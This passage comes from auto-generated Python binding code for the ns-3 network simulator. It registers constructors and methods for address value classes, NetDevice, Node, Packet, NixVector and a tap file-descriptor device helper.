ns3::Ipv6AddressValue::Ipv6AddressValue(ns3::Ipv6AddressValue const & arg0) [copy constructor] cls.add_constructor([param('ns3::Ipv6AddressValue const &', 'arg0')]) ## ipv6-address.h (module 'network'): ns3::Ipv6AddressValue::Ipv6AddressValue(ns3::Ipv6Address const & value) [constructor] cls.add_constructor([param('ns3::Ipv6Address const &', 'value')]) ## ipv6-address.h (module 'network'): ns3::Ptr<ns3::AttributeValue> ns3::Ipv6AddressValue::Copy() const [member function] cls.add_method('Copy', 'ns3::Ptr< ns3::AttributeValue >', [], is_const=True, is_virtual=True) ## ipv6-address.h (module 'network'): bool ns3::Ipv6AddressValue::DeserializeFromString(std::string value, ns3::Ptr<ns3::AttributeChecker const> checker) [member function] cls.add_method('DeserializeFromString', 'bool', [param('std::string', 'value'), param('ns3::Ptr< ns3::AttributeChecker const >', 'checker')], is_virtual=True) ## ipv6-address.h (module 'network'): ns3::Ipv6Address ns3::Ipv6AddressValue::Get() const [member function] cls.add_method('Get', 'ns3::Ipv6Address', [], is_const=True) ## ipv6-address.h (module 'network'): std::string ns3::Ipv6AddressValue::SerializeToString(ns3::Ptr<ns3::AttributeChecker const> checker) const [member function] cls.add_method('SerializeToString', 'std::string', [param('ns3::Ptr< ns3::AttributeChecker const >', 'checker')], is_const=True, is_virtual=True) ## ipv6-address.h (module 'network'): void ns3::Ipv6AddressValue::Set(ns3::Ipv6Address const & value) [member function] cls.add_method('Set', 'void', [param('ns3::Ipv6Address const &', 'value')]) return def register_Ns3Ipv6PrefixChecker_methods(root_module, cls): ## ipv6-address.h (module 'network'): ns3::Ipv6PrefixChecker::Ipv6PrefixChecker() [constructor] cls.add_constructor([]) ## ipv6-address.h (module 'network'): ns3::Ipv6PrefixChecker::Ipv6PrefixChecker(ns3::Ipv6PrefixChecker const & arg0) [copy constructor] cls.add_constructor([param('ns3::Ipv6PrefixChecker const &', 'arg0')]) return def register_Ns3Ipv6PrefixValue_methods(root_module, cls): ## ipv6-address.h (module 'network'): ns3::Ipv6PrefixValue::Ipv6PrefixValue() [constructor] cls.add_constructor([]) ## ipv6-address.h (module 'network'): ns3::Ipv6PrefixValue::Ipv6PrefixValue(ns3::Ipv6PrefixValue const & arg0) [copy constructor] cls.add_constructor([param('ns3::Ipv6PrefixValue const &', 'arg0')]) ## ipv6-address.h (module 'network'): ns3::Ipv6PrefixValue::Ipv6PrefixValue(ns3::Ipv6Prefix const & value) [constructor] cls.add_constructor([param('ns3::Ipv6Prefix const &', 'value')]) ## ipv6-address.h (module 'network'): ns3::Ptr<ns3::AttributeValue> ns3::Ipv6PrefixValue::Copy() const [member function] cls.add_method('Copy', 'ns3::Ptr< ns3::AttributeValue >', [], is_const=True, is_virtual=True) ## ipv6-address.h (module 'network'): bool ns3::Ipv6PrefixValue::DeserializeFromString(std::string value, ns3::Ptr<ns3::AttributeChecker const> checker) [member function] cls.add_method('DeserializeFromString', 'bool', [param('std::string', 'value'), param('ns3::Ptr< ns3::AttributeChecker const >', 'checker')], is_virtual=True) ## ipv6-address.h (module 'network'): ns3::Ipv6Prefix ns3::Ipv6PrefixValue::Get() const [member function] cls.add_method('Get', 'ns3::Ipv6Prefix', [], is_const=True) ## ipv6-address.h (module 'network'): std::string ns3::Ipv6PrefixValue::SerializeToString(ns3::Ptr<ns3::AttributeChecker const> checker) const [member function] cls.add_method('SerializeToString', 'std::string', [param('ns3::Ptr< ns3::AttributeChecker const >', 'checker')], is_const=True, is_virtual=True) ## ipv6-address.h (module 'network'): void ns3::Ipv6PrefixValue::Set(ns3::Ipv6Prefix const & value) [member function] cls.add_method('Set', 'void', [param('ns3::Ipv6Prefix const &', 'value')]) return def register_Ns3Mac48AddressChecker_methods(root_module, cls): ## mac48-address.h (module 'network'): ns3::Mac48AddressChecker::Mac48AddressChecker() [constructor] cls.add_constructor([]) ## mac48-address.h (module 'network'): ns3::Mac48AddressChecker::Mac48AddressChecker(ns3::Mac48AddressChecker const & arg0) [copy constructor] cls.add_constructor([param('ns3::Mac48AddressChecker const &', 'arg0')]) return def register_Ns3Mac48AddressValue_methods(root_module, cls): ## mac48-address.h (module 'network'): ns3::Mac48AddressValue::Mac48AddressValue() [constructor] cls.add_constructor([]) ## mac48-address.h (module 'network'): ns3::Mac48AddressValue::Mac48AddressValue(ns3::Mac48AddressValue const & arg0) [copy constructor] cls.add_constructor([param('ns3::Mac48AddressValue const &', 'arg0')]) ## mac48-address.h (module 'network'): ns3::Mac48AddressValue::Mac48AddressValue(ns3::Mac48Address const & value) [constructor] cls.add_constructor([param('ns3::Mac48Address const &', 'value')]) ## mac48-address.h (module 'network'): ns3::Ptr<ns3::AttributeValue> ns3::Mac48AddressValue::Copy() const [member function] cls.add_method('Copy', 'ns3::Ptr< ns3::AttributeValue >', [], is_const=True, is_virtual=True) ## mac48-address.h (module 'network'): bool ns3::Mac48AddressValue::DeserializeFromString(std::string value, ns3::Ptr<ns3::AttributeChecker const> checker) [member function] cls.add_method('DeserializeFromString', 'bool', [param('std::string', 'value'), param('ns3::Ptr< ns3::AttributeChecker const >', 'checker')], is_virtual=True) ## mac48-address.h (module 'network'): ns3::Mac48Address ns3::Mac48AddressValue::Get() const [member function] cls.add_method('Get', 'ns3::Mac48Address', [], is_const=True) ## mac48-address.h (module 'network'): std::string ns3::Mac48AddressValue::SerializeToString(ns3::Ptr<ns3::AttributeChecker const> checker) const [member function] cls.add_method('SerializeToString', 'std::string', [param('ns3::Ptr< ns3::AttributeChecker const >', 'checker')], is_const=True, is_virtual=True) ## mac48-address.h (module 'network'): void ns3::Mac48AddressValue::Set(ns3::Mac48Address const & value) [member function] cls.add_method('Set', 'void', [param('ns3::Mac48Address const &', 'value')]) return def register_Ns3NetDevice_methods(root_module, cls): ## net-device.h (module 'network'): ns3::NetDevice::NetDevice() [constructor] cls.add_constructor([]) ## net-device.h (module 'network'): ns3::NetDevice::NetDevice(ns3::NetDevice const & arg0) [copy constructor] cls.add_constructor([param('ns3::NetDevice const &', 'arg0')]) ## net-device.h (module 'network'): void ns3::NetDevice::AddLinkChangeCallback(ns3::Callback<void, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty> callback) [member function] cls.add_method('AddLinkChangeCallback', 'void', [param('ns3::Callback< void, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty >', 'callback')], is_pure_virtual=True, is_virtual=True) ## net-device.h (module 'network'): ns3::Address ns3::NetDevice::GetAddress() const [member function] cls.add_method('GetAddress', 'ns3::Address', [], is_pure_virtual=True, is_const=True, is_virtual=True) ## net-device.h (module 'network'): ns3::Address ns3::NetDevice::GetBroadcast() const [member function] cls.add_method('GetBroadcast', 'ns3::Address', [], is_pure_virtual=True, is_const=True, is_virtual=True) ## net-device.h (module 'network'): ns3::Ptr<ns3::Channel> ns3::NetDevice::GetChannel() const [member function] cls.add_method('GetChannel', 'ns3::Ptr< ns3::Channel >', [], is_pure_virtual=True, is_const=True, is_virtual=True) ## net-device.h (module 'network'): uint32_t ns3::NetDevice::GetIfIndex() const [member function] cls.add_method('GetIfIndex', 'uint32_t', [], is_pure_virtual=True, is_const=True, is_virtual=True) ## net-device.h (module 'network'): uint16_t ns3::NetDevice::GetMtu() const [member function] cls.add_method('GetMtu', 'uint16_t', [], is_pure_virtual=True, is_const=True, is_virtual=True) ## net-device.h (module 'network'): ns3::Address ns3::NetDevice::GetMulticast(ns3::Ipv4Address multicastGroup) const [member function] cls.add_method('GetMulticast', 'ns3::Address', [param('ns3::Ipv4Address', 'multicastGroup')], is_pure_virtual=True, is_const=True, is_virtual=True) ## net-device.h (module 'network'): ns3::Address ns3::NetDevice::GetMulticast(ns3::Ipv6Address addr) const [member function] cls.add_method('GetMulticast', 'ns3::Address', [param('ns3::Ipv6Address', 'addr')], is_pure_virtual=True, is_const=True, is_virtual=True) ## net-device.h (module 'network'): ns3::Ptr<ns3::Node> ns3::NetDevice::GetNode() const [member function] cls.add_method('GetNode', 'ns3::Ptr< ns3::Node >', [], is_pure_virtual=True, is_const=True, is_virtual=True) ## net-device.h (module 'network'): static ns3::TypeId ns3::NetDevice::GetTypeId() [member function] cls.add_method('GetTypeId', 'ns3::TypeId', [], is_static=True) ## net-device.h (module 'network'): bool ns3::NetDevice::IsBridge() const [member function] cls.add_method('IsBridge', 'bool', [], is_pure_virtual=True, is_const=True, is_virtual=True) ## net-device.h (module 'network'): bool ns3::NetDevice::IsBroadcast() const [member function] cls.add_method('IsBroadcast', 'bool', [], is_pure_virtual=True, is_const=True, is_virtual=True) ## net-device.h (module 'network'): bool ns3::NetDevice::IsLinkUp() const [member function] cls.add_method('IsLinkUp', 'bool', [], is_pure_virtual=True, is_const=True, is_virtual=True) ## net-device.h (module 'network'): bool ns3::NetDevice::IsMulticast() const [member function] cls.add_method('IsMulticast', 'bool', [], is_pure_virtual=True, is_const=True, is_virtual=True) ## net-device.h (module 'network'): bool ns3::NetDevice::IsPointToPoint() const [member function] cls.add_method('IsPointToPoint', 'bool', [], is_pure_virtual=True, is_const=True, is_virtual=True) ## net-device.h (module 'network'): bool ns3::NetDevice::NeedsArp() const [member function] cls.add_method('NeedsArp', 'bool', [], is_pure_virtual=True, is_const=True, is_virtual=True) ## net-device.h (module 'network'): bool ns3::NetDevice::Send(ns3::Ptr<ns3::Packet> packet, ns3::Address const & dest, uint16_t protocolNumber) [member function] cls.add_method('Send', 'bool', [param('ns3::Ptr< ns3::Packet >', 'packet'), param('ns3::Address const &', 'dest'), param('uint16_t', 'protocolNumber')], is_pure_virtual=True, is_virtual=True) ## net-device.h (module 'network'): bool ns3::NetDevice::SendFrom(ns3::Ptr<ns3::Packet> packet, ns3::Address const & source, ns3::Address const & dest, uint16_t protocolNumber) [member function] cls.add_method('SendFrom', 'bool', [param('ns3::Ptr< ns3::Packet >', 'packet'), param('ns3::Address const &', 'source'), param('ns3::Address const &', 'dest'), param('uint16_t', 'protocolNumber')], is_pure_virtual=True, is_virtual=True) ## net-device.h (module 'network'): void ns3::NetDevice::SetAddress(ns3::Address address) [member function] cls.add_method('SetAddress', 'void', [param('ns3::Address', 'address')], is_pure_virtual=True, is_virtual=True) ## net-device.h (module 'network'): void ns3::NetDevice::SetIfIndex(uint32_t const index) [member function] cls.add_method('SetIfIndex', 'void', [param('uint32_t const', 'index')], is_pure_virtual=True, is_virtual=True) ## net-device.h (module 'network'): bool ns3::NetDevice::SetMtu(uint16_t const mtu) [member function] cls.add_method('SetMtu', 'bool', [param('uint16_t const', 'mtu')], is_pure_virtual=True, is_virtual=True) ## net-device.h (module 'network'): void ns3::NetDevice::SetNode(ns3::Ptr<ns3::Node> node) [member function] cls.add_method('SetNode', 'void', [param('ns3::Ptr< ns3::Node >', 'node')], is_pure_virtual=True, is_virtual=True) ## net-device.h (module 'network'): void ns3::NetDevice::SetPromiscReceiveCallback(ns3::Callback<bool, ns3::Ptr<ns3::NetDevice>, ns3::Ptr<ns3::Packet const>, unsigned short, ns3::Address const&, ns3::Address const&, ns3::NetDevice::PacketType, ns3::empty, ns3::empty, ns3::empty> cb) [member function] cls.add_method('SetPromiscReceiveCallback', 'void', [param('ns3::Callback< bool, ns3::Ptr< ns3::NetDevice >, ns3::Ptr< ns3::Packet const >, unsigned short, ns3::Address const &, ns3::Address const &, ns3::NetDevice::PacketType, ns3::empty, ns3::empty, ns3::empty >', 'cb')], is_pure_virtual=True, is_virtual=True) ## net-device.h (module 'network'): void ns3::NetDevice::SetReceiveCallback(ns3::Callback<bool, ns3::Ptr<ns3::NetDevice>, ns3::Ptr<ns3::Packet const>, unsigned short, ns3::Address const&, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty> cb) [member function] cls.add_method('SetReceiveCallback', 'void', [param('ns3::Callback< bool, ns3::Ptr< ns3::NetDevice >, ns3::Ptr< ns3::Packet const >, unsigned short, ns3::Address const &, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty >', 'cb')], is_pure_virtual=True, is_virtual=True) ## net-device.h (module 'network'): bool ns3::NetDevice::SupportsSendFrom() const [member function] cls.add_method('SupportsSendFrom', 'bool', [], is_pure_virtual=True, is_const=True, is_virtual=True) return def register_Ns3NixVector_methods(root_module, cls): cls.add_output_stream_operator() ## nix-vector.h (module 'network'): ns3::NixVector::NixVector() [constructor] cls.add_constructor([]) ## nix-vector.h (module 'network'): ns3::NixVector::NixVector(ns3::NixVector const & o) [copy constructor] cls.add_constructor([param('ns3::NixVector const &', 'o')]) ## nix-vector.h (module 'network'): void ns3::NixVector::AddNeighborIndex(uint32_t newBits, uint32_t numberOfBits) [member function] cls.add_method('AddNeighborIndex', 'void', [param('uint32_t', 'newBits'), param('uint32_t', 'numberOfBits')]) ## nix-vector.h (module 'network'): uint32_t ns3::NixVector::BitCount(uint32_t numberOfNeighbors) const [member function] cls.add_method('BitCount', 'uint32_t', [param('uint32_t', 'numberOfNeighbors')], is_const=True) ## nix-vector.h (module 'network'): ns3::Ptr<ns3::NixVector> ns3::NixVector::Copy() const [member function] cls.add_method('Copy', 'ns3::Ptr< ns3::NixVector >', [], is_const=True) ## nix-vector.h (module 'network'): uint32_t ns3::NixVector::Deserialize(uint32_t const * buffer, uint32_t size) [member function] cls.add_method('Deserialize', 'uint32_t', [param('uint32_t const *', 'buffer'), param('uint32_t', 'size')]) ## nix-vector.h (module 'network'): uint32_t ns3::NixVector::ExtractNeighborIndex(uint32_t numberOfBits) [member function] cls.add_method('ExtractNeighborIndex', 'uint32_t', [param('uint32_t', 'numberOfBits')]) ## nix-vector.h (module 'network'): uint32_t ns3::NixVector::GetRemainingBits() [member function] cls.add_method('GetRemainingBits', 'uint32_t', []) ## nix-vector.h (module 'network'): uint32_t ns3::NixVector::GetSerializedSize() const [member function] cls.add_method('GetSerializedSize', 'uint32_t', [], is_const=True) ## nix-vector.h (module 'network'): uint32_t ns3::NixVector::Serialize(uint32_t * buffer, uint32_t maxSize) const [member function] cls.add_method('Serialize', 'uint32_t', [param('uint32_t *', 'buffer'), param('uint32_t', 'maxSize')], is_const=True) return def register_Ns3Node_methods(root_module, cls): ## node.h (module 'network'): ns3::Node::Node(ns3::Node const & arg0) [copy constructor] cls.add_constructor([param('ns3::Node const &', 'arg0')]) ## node.h (module 'network'): ns3::Node::Node() [constructor] cls.add_constructor([]) ## node.h (module 'network'): ns3::Node::Node(uint32_t systemId) [constructor] cls.add_constructor([param('uint32_t', 'systemId')]) ## node.h (module 'network'): uint32_t ns3::Node::AddApplication(ns3::Ptr<ns3::Application> application) [member function] cls.add_method('AddApplication', 'uint32_t', [param('ns3::Ptr< ns3::Application >', 'application')]) ## node.h (module 'network'): uint32_t ns3::Node::AddDevice(ns3::Ptr<ns3::NetDevice> device) [member function] cls.add_method('AddDevice', 'uint32_t', [param('ns3::Ptr< ns3::NetDevice >', 'device')]) ## node.h (module 'network'): static bool ns3::Node::ChecksumEnabled() [member function] cls.add_method('ChecksumEnabled', 'bool', [], is_static=True) ## node.h (module 'network'): ns3::Ptr<ns3::Application> ns3::Node::GetApplication(uint32_t index) const [member function] cls.add_method('GetApplication', 'ns3::Ptr< ns3::Application >', [param('uint32_t', 'index')], is_const=True) ## node.h (module 'network'): ns3::Ptr<ns3::NetDevice> ns3::Node::GetDevice(uint32_t index) const [member function] cls.add_method('GetDevice', 'ns3::Ptr< ns3::NetDevice >', [param('uint32_t', 'index')], is_const=True) ## node.h (module 'network'): uint32_t ns3::Node::GetId() const [member function] cls.add_method('GetId', 'uint32_t', [], is_const=True) ## node.h (module 'network'): uint32_t ns3::Node::GetNApplications() const [member function] cls.add_method('GetNApplications', 'uint32_t', [], is_const=True) ## node.h (module 'network'): uint32_t ns3::Node::GetNDevices() const [member function] cls.add_method('GetNDevices', 'uint32_t', [], is_const=True) ## node.h (module 'network'): uint32_t ns3::Node::GetSystemId() const [member function] cls.add_method('GetSystemId', 'uint32_t', [], is_const=True) ## node.h (module 'network'): static ns3::TypeId ns3::Node::GetTypeId() [member function] cls.add_method('GetTypeId', 'ns3::TypeId', [], is_static=True) ## node.h (module 'network'): void ns3::Node::RegisterDeviceAdditionListener(ns3::Callback<void,ns3::Ptr<ns3::NetDevice>,ns3::empty,ns3::empty,ns3::empty,ns3::empty,ns3::empty,ns3::empty,ns3::empty,ns3::empty> listener) [member function] cls.add_method('RegisterDeviceAdditionListener', 'void', [param('ns3::Callback< void, ns3::Ptr< ns3::NetDevice >, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty >', 'listener')]) ## node.h (module 'network'): void ns3::Node::RegisterProtocolHandler(ns3::Callback<void, ns3::Ptr<ns3::NetDevice>, ns3::Ptr<ns3::Packet const>, unsigned short, ns3::Address const&, ns3::Address const&, ns3::NetDevice::PacketType, ns3::empty, ns3::empty, ns3::empty> handler, uint16_t protocolType, ns3::Ptr<ns3::NetDevice> device, bool promiscuous=false) [member function] cls.add_method('RegisterProtocolHandler', 'void', [param('ns3::Callback< void, ns3::Ptr< ns3::NetDevice >, ns3::Ptr< ns3::Packet const >, unsigned short, ns3::Address const &, ns3::Address const &, ns3::NetDevice::PacketType, ns3::empty, ns3::empty, ns3::empty >', 'handler'), param('uint16_t', 'protocolType'), param('ns3::Ptr< ns3::NetDevice >', 'device'), param('bool', 'promiscuous', default_value='false')]) ## node.h (module 'network'): void ns3::Node::UnregisterDeviceAdditionListener(ns3::Callback<void,ns3::Ptr<ns3::NetDevice>,ns3::empty,ns3::empty,ns3::empty,ns3::empty,ns3::empty,ns3::empty,ns3::empty,ns3::empty> listener) [member function] cls.add_method('UnregisterDeviceAdditionListener', 'void', [param('ns3::Callback< void, ns3::Ptr< ns3::NetDevice >, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty >', 'listener')]) ## node.h (module 'network'): void ns3::Node::UnregisterProtocolHandler(ns3::Callback<void, ns3::Ptr<ns3::NetDevice>, ns3::Ptr<ns3::Packet const>, unsigned short, ns3::Address const&, ns3::Address const&, ns3::NetDevice::PacketType, ns3::empty, ns3::empty, ns3::empty> handler) [member function] cls.add_method('UnregisterProtocolHandler', 'void', [param('ns3::Callback< void, ns3::Ptr< ns3::NetDevice >, ns3::Ptr< ns3::Packet const >, unsigned short, ns3::Address const &, ns3::Address const &, ns3::NetDevice::PacketType, ns3::empty, ns3::empty, ns3::empty >', 'handler')]) ## node.h (module 'network'): void ns3::Node::DoDispose() [member function] cls.add_method('DoDispose', 'void', [], visibility='protected', is_virtual=True) ## node.h (module 'network'): void ns3::Node::DoInitialize() [member function] cls.add_method('DoInitialize', 'void', [], visibility='protected', is_virtual=True) return def register_Ns3ObjectFactoryChecker_methods(root_module, cls): ## object-factory.h (module 'core'): ns3::ObjectFactoryChecker::ObjectFactoryChecker() [constructor] cls.add_constructor([]) ## object-factory.h (module 'core'): ns3::ObjectFactoryChecker::ObjectFactoryChecker(ns3::ObjectFactoryChecker const & arg0) [copy constructor] cls.add_constructor([param('ns3::ObjectFactoryChecker const &', 'arg0')]) return def register_Ns3ObjectFactoryValue_methods(root_module, cls): ## object-factory.h (module 'core'): ns3::ObjectFactoryValue::ObjectFactoryValue() [constructor] cls.add_constructor([]) ## object-factory.h (module 'core'): ns3::ObjectFactoryValue::ObjectFactoryValue(ns3::ObjectFactoryValue const & arg0) [copy constructor] cls.add_constructor([param('ns3::ObjectFactoryValue const &', 'arg0')]) ## object-factory.h (module 'core'): ns3::ObjectFactoryValue::ObjectFactoryValue(ns3::ObjectFactory const & value) [constructor] cls.add_constructor([param('ns3::ObjectFactory const &', 'value')]) ## object-factory.h (module 'core'): ns3::Ptr<ns3::AttributeValue> ns3::ObjectFactoryValue::Copy() const [member function] cls.add_method('Copy', 'ns3::Ptr< ns3::AttributeValue >', [], is_const=True, is_virtual=True) ## object-factory.h (module 'core'): bool ns3::ObjectFactoryValue::DeserializeFromString(std::string value, ns3::Ptr<ns3::AttributeChecker const> checker) [member function] cls.add_method('DeserializeFromString', 'bool', [param('std::string', 'value'), param('ns3::Ptr< ns3::AttributeChecker const >', 'checker')], is_virtual=True) ## object-factory.h (module 'core'): ns3::ObjectFactory ns3::ObjectFactoryValue::Get() const [member function] cls.add_method('Get', 'ns3::ObjectFactory', [], is_const=True) ## object-factory.h (module 'core'): std::string ns3::ObjectFactoryValue::SerializeToString(ns3::Ptr<ns3::AttributeChecker const> checker) const [member function] cls.add_method('SerializeToString', 'std::string', [param('ns3::Ptr< ns3::AttributeChecker const >', 'checker')], is_const=True, is_virtual=True) ## object-factory.h (module 'core'): void ns3::ObjectFactoryValue::Set(ns3::ObjectFactory const & value) [member function] cls.add_method('Set', 'void', [param('ns3::ObjectFactory const &', 'value')]) return def register_Ns3OutputStreamWrapper_methods(root_module, cls): ## output-stream-wrapper.h (module 'network'): ns3::OutputStreamWrapper::OutputStreamWrapper(ns3::OutputStreamWrapper const & arg0) [copy constructor] cls.add_constructor([param('ns3::OutputStreamWrapper const &', 'arg0')]) ## output-stream-wrapper.h (module 'network'): ns3::OutputStreamWrapper::OutputStreamWrapper(std::string filename, std::_Ios_Openmode filemode) [constructor] cls.add_constructor([param('std::string', 'filename'), param('std::_Ios_Openmode', 'filemode')]) ## output-stream-wrapper.h (module 'network'): ns3::OutputStreamWrapper::OutputStreamWrapper(std::ostream * os) [constructor] cls.add_constructor([param('std::ostream *', 'os')]) ## output-stream-wrapper.h (module 'network'): std::ostream * ns3::OutputStreamWrapper::GetStream() [member function] cls.add_method('GetStream', 'std::ostream *', []) return def register_Ns3Packet_methods(root_module, cls): cls.add_output_stream_operator() ## packet.h (module 'network'): ns3::Packet::Packet() [constructor] cls.add_constructor([]) ## packet.h (module 'network'): ns3::Packet::Packet(ns3::Packet const & o) [copy constructor] cls.add_constructor([param('ns3::Packet const &', 'o')]) ## packet.h (module 'network'): ns3::Packet::Packet(uint32_t size) [constructor] cls.add_constructor([param('uint32_t', 'size')]) ## packet.h (module 'network'): ns3::Packet::Packet(uint8_t const * buffer, uint32_t size, bool magic) [constructor] cls.add_constructor([param('uint8_t const *', 'buffer'), param('uint32_t', 'size'), param('bool', 'magic')]) ## packet.h (module 'network'): ns3::Packet::Packet(uint8_t const * buffer, uint32_t size) [constructor] cls.add_constructor([param('uint8_t const *', 'buffer'), param('uint32_t', 'size')]) ## packet.h (module 'network'): void ns3::Packet::AddAtEnd(ns3::Ptr<const ns3::Packet> packet) [member function] cls.add_method('AddAtEnd', 'void', [param('ns3::Ptr< ns3::Packet const >', 'packet')]) ## packet.h (module 'network'): void ns3::Packet::AddByteTag(ns3::Tag const & tag) const [member function] cls.add_method('AddByteTag', 'void', [param('ns3::Tag const &', 'tag')], is_const=True) ## packet.h (module 'network'): void ns3::Packet::AddHeader(ns3::Header const & header) [member function] cls.add_method('AddHeader', 'void', [param('ns3::Header const &', 'header')]) ## packet.h (module 'network'): void ns3::Packet::AddPacketTag(ns3::Tag const & tag) const [member function] cls.add_method('AddPacketTag', 'void', [param('ns3::Tag const &', 'tag')], is_const=True) ## packet.h (module 'network'): void ns3::Packet::AddPaddingAtEnd(uint32_t size) [member function] cls.add_method('AddPaddingAtEnd', 'void', [param('uint32_t', 'size')]) ## packet.h (module 'network'): void ns3::Packet::AddTrailer(ns3::Trailer const & trailer) [member function] cls.add_method('AddTrailer', 'void', [param('ns3::Trailer const &', 'trailer')]) ## packet.h (module 'network'): ns3::PacketMetadata::ItemIterator ns3::Packet::BeginItem() const [member function] cls.add_method('BeginItem', 'ns3::PacketMetadata::ItemIterator', [], is_const=True) ## packet.h (module 'network'): ns3::Ptr<ns3::Packet> ns3::Packet::Copy() const [member function] cls.add_method('Copy', 'ns3::Ptr< ns3::Packet >', [], is_const=True) ## packet.h (module 'network'): uint32_t ns3::Packet::CopyData(uint8_t * buffer, uint32_t size) const [member function] cls.add_method('CopyData', 'uint32_t', [param('uint8_t *', 'buffer'), param('uint32_t', 'size')], is_const=True) ## packet.h (module 'network'): void ns3::Packet::CopyData(std::ostream * os, uint32_t size) const [member function] cls.add_method('CopyData', 'void', [param('std::ostream *', 'os'), param('uint32_t', 'size')], is_const=True) ## packet.h (module 'network'): ns3::Ptr<ns3::Packet> ns3::Packet::CreateFragment(uint32_t start, uint32_t length) const [member function] cls.add_method('CreateFragment', 'ns3::Ptr< ns3::Packet >', [param('uint32_t', 'start'), param('uint32_t', 'length')], is_const=True) ## packet.h (module 'network'): static void ns3::Packet::EnableChecking() [member function] cls.add_method('EnableChecking', 'void', [], is_static=True) ## packet.h (module 'network'): static void ns3::Packet::EnablePrinting() [member function] cls.add_method('EnablePrinting', 'void', [], is_static=True) ## packet.h (module 'network'): bool ns3::Packet::FindFirstMatchingByteTag(ns3::Tag & tag) const [member function] cls.add_method('FindFirstMatchingByteTag', 'bool', [param('ns3::Tag &', 'tag')], is_const=True) ## packet.h (module 'network'): ns3::ByteTagIterator ns3::Packet::GetByteTagIterator() const [member function] cls.add_method('GetByteTagIterator', 'ns3::ByteTagIterator', [], is_const=True) ## packet.h (module 'network'): ns3::Ptr<ns3::NixVector> ns3::Packet::GetNixVector() const [member function] cls.add_method('GetNixVector', 'ns3::Ptr< ns3::NixVector >', [], is_const=True) ## packet.h (module 'network'): ns3::PacketTagIterator ns3::Packet::GetPacketTagIterator() const [member function] cls.add_method('GetPacketTagIterator', 'ns3::PacketTagIterator', [], is_const=True) ## packet.h (module 'network'): uint32_t ns3::Packet::GetSerializedSize() const [member function] cls.add_method('GetSerializedSize', 'uint32_t', [], is_const=True) ## packet.h (module 'network'): uint32_t ns3::Packet::GetSize() const [member function] cls.add_method('GetSize', 'uint32_t', [], is_const=True) ## packet.h (module 'network'): uint64_t ns3::Packet::GetUid() const [member function] cls.add_method('GetUid', 'uint64_t', [], is_const=True) ## packet.h (module 'network'): uint32_t ns3::Packet::PeekHeader(ns3::Header & header) const [member function] cls.add_method('PeekHeader', 'uint32_t', [param('ns3::Header &', 'header')], is_const=True) ## packet.h (module 'network'): bool ns3::Packet::PeekPacketTag(ns3::Tag & tag) const [member function] cls.add_method('PeekPacketTag', 'bool', [param('ns3::Tag &', 'tag')], is_const=True) ## packet.h (module 'network'): uint32_t ns3::Packet::PeekTrailer(ns3::Trailer & trailer) [member function] cls.add_method('PeekTrailer', 'uint32_t', [param('ns3::Trailer &', 'trailer')]) ## packet.h (module 'network'): void ns3::Packet::Print(std::ostream & os) const [member function] cls.add_method('Print', 'void', [param('std::ostream &', 'os')], is_const=True) ## packet.h (module 'network'): void ns3::Packet::PrintByteTags(std::ostream & os) const [member function] cls.add_method('PrintByteTags', 'void', [param('std::ostream &', 'os')], is_const=True) ## packet.h (module 'network'): void ns3::Packet::PrintPacketTags(std::ostream & os) const [member function] cls.add_method('PrintPacketTags', 'void', [param('std::ostream &', 'os')], is_const=True) ## packet.h (module 'network'): void ns3::Packet::RemoveAllByteTags() [member function] cls.add_method('RemoveAllByteTags', 'void', []) ## packet.h (module 'network'): void ns3::Packet::RemoveAllPacketTags() [member function] cls.add_method('RemoveAllPacketTags', 'void', []) ## packet.h (module 'network'): void ns3::Packet::RemoveAtEnd(uint32_t size) [member function] cls.add_method('RemoveAtEnd', 'void', [param('uint32_t', 'size')]) ## packet.h (module 'network'): void ns3::Packet::RemoveAtStart(uint32_t size) [member function] cls.add_method('RemoveAtStart', 'void', [param('uint32_t', 'size')]) ## packet.h (module 'network'): uint32_t ns3::Packet::RemoveHeader(ns3::Header & header) [member function] cls.add_method('RemoveHeader', 'uint32_t', [param('ns3::Header &', 'header')]) ## packet.h (module 'network'): bool ns3::Packet::RemovePacketTag(ns3::Tag & tag) [member function] cls.add_method('RemovePacketTag', 'bool', [param('ns3::Tag &', 'tag')]) ## packet.h (module 'network'): uint32_t ns3::Packet::RemoveTrailer(ns3::Trailer & trailer) [member function] cls.add_method('RemoveTrailer', 'uint32_t', [param('ns3::Trailer &', 'trailer')]) ## packet.h (module 'network'): bool ns3::Packet::ReplacePacketTag(ns3::Tag & tag) [member function] cls.add_method('ReplacePacketTag', 'bool', [param('ns3::Tag &', 'tag')]) ## packet.h (module 'network'): uint32_t ns3::Packet::Serialize(uint8_t * buffer, uint32_t maxSize) const [member function] cls.add_method('Serialize', 'uint32_t', [param('uint8_t *', 'buffer'), param('uint32_t', 'maxSize')], is_const=True) ## packet.h (module 'network'): void ns3::Packet::SetNixVector(ns3::Ptr<ns3::NixVector> nixVector) [member function] cls.add_method('SetNixVector', 'void', [param('ns3::Ptr< ns3::NixVector >', 'nixVector')]) ## packet.h (module 'network'): std::string ns3::Packet::ToString() const [member function] cls.add_method('ToString', 'std::string', [], is_const=True) return def register_Ns3TapFdNetDeviceHelper_methods(root_module, cls): ## tap-fd-net-device-helper.h (module 'fd-net-device'): ns3::TapFdNetDeviceHelper::TapFdNetDeviceHelper(ns3::TapFdNetDeviceHelper const & arg0) [copy constructor] cls.add_constructor([param('ns3::TapFdNetDeviceHelper const &', 'arg0')]) ## tap-fd-net-device-helper.h (module 'fd-net-device'): ns3::TapFdNetDeviceHelper::TapFdNetDeviceHelper() [constructor] cls.add_constructor([]) ## tap-fd-net-device-helper.h (module 'fd-net-device'): void ns3::TapFdNetDeviceHelper::SetModePi(bool pi) [member function] cls.add_method('SetModePi', 'void', [param('bool', 'pi')]) ## tap-fd-net-device-helper.h (module 'fd-net-device'): void ns3::TapFdNetDeviceHelper::SetTapIpv4Address(ns3::Ipv4Address address) [member function] cls.add_method('SetTapIpv4Address', 'void', [param('ns3::Ipv4Address', 'address')]) ## tap-fd-net-device-helper.h (module 'fd-net-device'): void 